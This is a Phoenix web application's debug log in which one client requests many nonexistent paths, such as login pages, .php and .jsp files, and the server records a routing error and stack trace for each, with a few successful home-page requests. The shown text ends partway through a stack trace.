[Thu Sep  3 07:53:57.400000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39984] GET /active.log
[Thu Sep  3 07:53:57.431000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39984] ** (Phoenix.Router.NoRouteError) no route found for GET /active.log (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:05.788000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42822] GET /main_internet.php
[Thu Sep  3 07:54:05.804000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42822] ** (Phoenix.Router.NoRouteError) no route found for GET /main_internet.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:09.945000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42836] GET /images
[Thu Sep  3 07:54:09.993000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42836] ** (Phoenix.Router.NoRouteError) no route found for GET /images (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:10.658000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42846] GET /auth/login
[Thu Sep  3 07:54:10.688000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42846] ** (Phoenix.Router.NoRouteError) no route found for GET /auth/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:15.534000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38952] GET /ui/login.action
[Thu Sep  3 07:54:15.560000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38952] ** (Phoenix.Router.NoRouteError) no route found for GET /ui/login.action (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:16.419000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38954] GET /login
[Thu Sep  3 07:54:16.447000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38954] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:17.816000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38958] GET /cfg/shortcuts
[Thu Sep  3 07:54:17.844000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38958] ** (Phoenix.Router.NoRouteError) no route found for GET /cfg/shortcuts (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:18.453000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38970] GET /hc/error/
[Thu Sep  3 07:54:18.475000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38970] ** (Phoenix.Router.NoRouteError) no route found for GET /hc/error (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:24.561000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56464] GET /login
[Thu Sep  3 07:54:24.584000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56464] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:25.903000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56482] GET /hc/admin/login/
[Thu Sep  3 07:54:25.919000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56482] ** (Phoenix.Router.NoRouteError) no route found for GET /hc/admin/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:31.267000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56502] GET /qip
[Thu Sep  3 07:54:31.291000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56502] ** (Phoenix.Router.NoRouteError) no route found for GET /qip (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:31.312000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56508] GET /
[Thu Sep  3 07:54:31.313000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:56508] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:54:31.313000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56508] Sent 200 in 838µs
[Thu Sep  3 07:54:31.895000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56520] GET /qip
[Thu Sep  3 07:54:31.912000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56520] ** (Phoenix.Router.NoRouteError) no route found for GET /qip (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:35.625000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52662] GET /
[Thu Sep  3 07:54:35.625000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52662] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:54:35.626000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52662] Sent 200 in 855µs
[Thu Sep  3 07:54:39.363000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52676] GET /
[Thu Sep  3 07:54:39.364000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52676] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:54:39.364000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52676] Sent 200 in 1ms
[Thu Sep  3 07:54:40.813000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52684] GET /
[Thu Sep  3 07:54:40.813000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52684] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:54:40.814000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52684] Sent 200 in 786µs
[Thu Sep  3 07:54:43.362000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53526] GET /portal/diag/index.jsp
[Thu Sep  3 07:54:43.380000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53526] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/diag/index.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:45.919000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53530] GET /menu.htm
[Thu Sep  3 07:54:45.940000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53530] ** (Phoenix.Router.NoRouteError) no route found for GET /menu.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:53.078000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53536] GET /auth/login
[Thu Sep  3 07:54:53.105000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53536] ** (Phoenix.Router.NoRouteError) no route found for GET /auth/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:54:55.433000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42524] GET /login
[Thu Sep  3 07:54:55.452000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42524] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
